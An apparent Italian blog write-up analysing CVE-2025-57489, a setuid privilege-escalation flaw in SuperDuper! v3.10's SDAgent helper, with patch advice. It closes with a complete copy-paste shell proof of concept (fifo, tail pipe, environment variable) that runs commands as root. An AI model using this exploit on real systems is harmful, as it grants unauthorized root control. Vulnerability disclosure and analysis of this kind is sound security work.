Analisi tecnica e proof-of-concept exploit per CVE-2025-57489, una vulnerabilità di escalation dei privilegi in SuperDuper! v3.10 attraverso un design improprio del binario setuid, che permette l'esecuzione arbitraria di comandi come root.
Dal blog dello sviluppatore:
Quando il lucchetto in SuperDuper è sbloccato per consentire l'esecuzione senza dover inserire una password di amministratore, un programma di terze parti potrebbe utilizzare la nostra autorizzazione per eseguire qualcosa di diverso da un backup con privilegi di amministratore.
Descrizione CVE:
Un controllo di accesso errato nel componente SDAgent di Shirt Pocket SuperDuper! v3.10 consente agli aggressori di elevare i propri privilegi a root a causa dell'uso improprio di un binario setuid.
Questo autore non è lo scopritore della vulnerabilità, che viene identificato dallo sviluppatore di SuperDuper come "ricercatore di sicurezza anonimo". Non rivendico alcun merito per la scoperta di questa vulnerabilità, ho solo mostrato un certo interesse nel farne un'analisi tecnica.
Punteggio CVSS 3.1: 8.1: Alto (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)
Per evitare questa vulnerabilità, elimina l'applicazione SuperDuper! oppure applica l'aggiornamento 3.11.
Attenzione: Devi scaricare l'aggiornamento direttamente dal sito web dello sviluppatore per evitare la vulnerabilità CVE-2025-61228.
Questa analisi dell'exploit e prova di concetto è fornita solo a scopo educativo. Usala a tuo rischio.
Il componente SDAgent dell'applicazione SuperDuper! è un binario setuid. A causa di una scarsa progettazione/implementazione, SDAgent esiste solo per eseguire comandi shell richiesti da un'altra applicazione, e SDAgent non sembra eseguire alcuna verifica dell'applicazione richiedente, né implementare alcuna protezione su quali tipi di comandi shell possono essere richiesti. Di conseguenza, gli aggressori possono ottenere che le versioni interessate dello strumento SDAgent eseguano qualsiasi comando shell con privilegi di root. La correzione dello sviluppatore affronta solo il fallimento di SDAgent nel verificare il richiedente, non affronta la progettazione dello strumento helper "puppet", lasciando l'agente potenzialmente vulnerabile ad attacchi futuri.
La descrizione del problema da parte dello sviluppatore era vaga, ma il commento "Quando il lucchetto in SuperDuper è sbloccato" mi ha indirizzato nella giusta direzione abbastanza rapidamente. Partendo da una versione precedente (ancora vulnerabile) di SuperDuper, ho cliccato sull'icona del lucchetto e ho effettuato l'autenticazione. In Activity Monitor, ho notato che era apparso un nuovo processo relativo a SuperDuper – SDAgent. Ho trovato questo componente nel bundle di SuperDuper e ho dato un'occhiata ai suoi attributi nel Terminale. Dopo aver attivato/disattivato il lucchetto, ho notato che il file SDAgent è un binario setuid ogni volta che il lucchetto è sbloccato. Dato quell'attributo e il nome del file, ho concluso che doveva trattarsi di uno "strumento helper privilegiato", anche se sembrava un po' piccolo per quello scopo.
Setuid è una forma molto vecchia di escalation dei privilegi, e tipicamente si costruisce tutta la funzionalità "necessita di root" nello strumento "helper" e gli si chiede semplicemente di fare la sua cosa, oppure si sviluppa un percorso di comunicazione che consente a un'applicazione client di fare richieste specifiche allo strumento helper. Ma dato quanto è piccolo questo file SDAgent (solo 137KB), sembra improbabile che contenga tutto il codice che necessita di root per ciò che questa applicazione dichiara di fare. La mia curiosità è stata stuzzicata, ho eseguito l'utilità "strings" su SDAgent per avere un'idea di cosa dovrebbe fare. Questo si è rivelato molto illuminante. Non c'era praticamente output (rispetto a quello che si vede normalmente per un binario di applicazione), e l'output fondamentalmente dice che SDAgent ha una sola funzione: eseguire qualsiasi script shell fornito dal richiedente, ad esempio:
% strings /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
...
/bin/bash
bash
SDAgent could not fork process
****DONE****
È una scelta progettuale scadente creare uno strumento helper che esegua letteralmente qualsiasi comando; "non essere un burattino" è una regola importante da seguire quando si crea uno strumento helper.
Ho proceduto con l'assunzione che SuperDuper debba aprire SDAgent, stabilire una pipe di comunicazione, poi inviare script shell a SDAgent. Un breve periodo di esplorazione nel bundle dell'applicazione SuperDuper ha mostrato che ero sulla strada giusta. Questa applicazione sembra amministrare tutta la sua attività di copia tramite script shell.
Ho fatto alcuni tentativi deboli di semplicemente inviare comandi tramite pipe all'agente:
printf "whoami" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
zsh: done printf "whoami" |
zsh: segmentation fault /Applications/SuperDuper!.app/Contents/MacOS/SDAgent
SDAgent è crashato, immagino che non sarà così facile! Imperterrito, ho iniziato a fare alcune supposizioni basate su come funzionano tipicamente le app helper setuid. Tra una coppia di utilità shell, tipicamente si creano alcune pipe per stdin, stdout e stderr, poi si fa fork e exec. Il processo figlio erediterebbe una copia di ogni pipe, quindi ogni lato avrebbe automaticamente pipe di comunicazione aperte verso l'altro. Con un'applicazione che si collega a framework di alto livello, fork() non è un'opzione. Invece, bisognerebbe sviluppare un modo per comunicare all'applicazione figlia come si intende comunicare con essa. L'output di "strings" ha fornito un indizio:
strings /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
...
STDIN_PIPE_READ_FD
%i %i %i
"STDIN_PIPE_READ_FD" – lo sviluppatore è molto trasparente su ciò che sta accadendo qui. Possiamo ottenere un po' più di contesto su questa stringa da otool:
otool -tV /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
/Applications/SuperDuper!.app/Contents/MacOS/SDAgent:
...
00000001000011a8 leaq 0xa56(%rip), %rdi ## literal pool for: "STDIN_PIPE_READ_FD"
00000001000011af callq 0x1000017f6 ## symbol stub for: _getenv
OK, quindi è probabilmente una variabile d'ambiente. Proviamo di nuovo il semplice hack della pipe, e assumo che SDAgent riceverà semplicemente i miei comandi dal suo descrittore di file stdin (0):
export STDIN_PIPE_READ_FD=0
printf "whoami" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
1557%
Dopo alcune ripetizioni era chiaro che "1557" era l'ID del processo di SDAgent generato. Non molto utile (e non l'output "root" che mi aspettavo), ma questa volta non è crashato, quindi è stato incoraggiante. Ho riprovato con qualcosa che facesse una modifica al filesystem:
printf "touch /Library/test" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
1593%
No, il file non è stato creato; è ora di rimboccarsi le maniche. Ho disabilitato SIP, avviato dtruss e chiesto a SuperDuper di eseguire un'attività. Subito dopo l'autenticazione per avviare l'attività, vedo il seguente output da dtruss (collegato al processo SDAgent):
read(0x0, "21 23 24 \0", 0x800) = 9 0
dup2(0x15, 0x1, 0x0) = 1 0
dup2(0x17, 0x2, 0x0) = 2 0
write(0x1, "1615\0", 0x4) = 4 0
SDAgent legge inizialmente dal descrittore di file 0 (stdin) per l'input (probabilmente qualunque FD sia indicato da STDIN_PIPE_READ_FD). Qui lo vediamo leggere tre numeri. Basandomi sulla sequenza, immagino che SuperDuper abbia aperto tre pipe e stia inviando le estremità di scrittura, scrittura e lettura di queste tre pipe a SDAgent. SDAgent poi duplica le prime due in stdout e stderr (non riesco a capire a cosa serva la terza). Infine, scrive "1615" (il pid corrente di SDAgent) su stdout (così ora SuperDuper conosce il pid di SDAgent), poi ascolta comandi aggiuntivi su fd 0. Dopo alcuni tentativi ed errori, era chiaro che dobbiamo inviare alcuni descrittori di file a SDAgent prima che faccia ciò che vogliamo. stdout (1) e stderr (2) saranno già aperti e scrivibili nell'ambiente shell, quindi ho provato quelli:
printf "1 2 \0whoami\0" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
~ % 1602
Di nuovo, non crasha, ma come un adolescente impaziente, SDAgent finisce presto e non ottengo il risultato "root" che mi aspetto. dtruss mostra che legge i descrittori di file, ma ignora il resto. Non sorprende dato il terminatore di stringa nullo, probabilmente abbiamo bisogno di un intervallo tra queste stringhe in modo che SDAgent le tratti come richieste separate. Quindi dovremo collegare SDAgent a una pipe a cui possiamo scrivere più di una volta.
A questo punto potrei scrivere una semplice applicazione C che apre alcune pipe, genera il processo SDAgent, scrive i descrittori di file nella pipe di stdin, poi dopo una breve pausa invia i suoi argomenti (cioè il payload dell'attacco) alla pipe per eseguirli. Mentre iniziavo a scrivere quel codice, mi sono reso conto che avrei potuto probabilmente ottenere tutta la funzionalità di quelle 50+ righe di codice compilato in un paio di semplici comandi shell. Ho solo bisogno di un metodo per stabilire e mantenere aperta una pipe verso il processo SDAgent. "mkfifo" si adatta a questo scopo: i fifo esistono come file su disco, ma è possibile adattare pipe su di essi. Da un lato, avremo bisogno di qualcosa che legga dal fifo, poi ripeta quel contenuto a SDAgent dall'altro lato della pipe. Devo scrivere i descrittori di file nella pipe inizialmente, ma devo anche mantenere la pipe aperta in modo da poter inviare comandi payload. Se il processo su uno dei due lati della pipe esce, la pipe si chiude. L'utilità tail e l'operatore di background sono stati fondamentali:
export STDIN_PIPE_READ_FD=0
mkfifo /tmp/puppet
tail -f /tmp/puppet | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent &
[1] 1964 1965
Ciò ha generato due job in background: tail (1964) e SDAgent (1965). Entrambi i processi rimangono in esecuzione in background, quindi la pipe tra di loro persiste. tail è in attesa che vengano aggiunti dati al fifo, e poi invierà quei dati a SDAgent. Fantasticamente semplice. Successivamente, invia i descrittori di file:
printf "1 2 \0" > /tmp/puppet
dtruss ha mostrato che SDAgent ha letto i descrittori di file e che SDAgent è ancora in esecuzione, in attesa di ulteriori input. Ora per il momento della verità:
printf 'whoami\0' > /tmp/puppet
~ % root
****DONE****
Ha funzionato! Ancora?
printf 'touch /Library/test; ls /Library/test\0' > /tmp/puppet
~ % /Library/test
****DONE****
Ecco fatto! Quando ho messo tutto insieme in un unico blocco di comandi shell da copiare/incollare, ho ancora riscontrato che SDAgent era un po' lento nell'elaborare i descrittori di file. Un breve ritardo, e siamo a posto:
export STDIN_PIPE_READ_FD=0
mkfifo /tmp/puppet
tail -f /tmp/puppet | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent &
printf "1 2 \0" > /tmp/puppet
sleep 1
printf 'whoami\0' > /tmp/puppet
Per quanto riguarda gli exploit di root, questo è stato sorprendentemente facile da scoprire ed è davvero facile da sfruttare per un aggressore.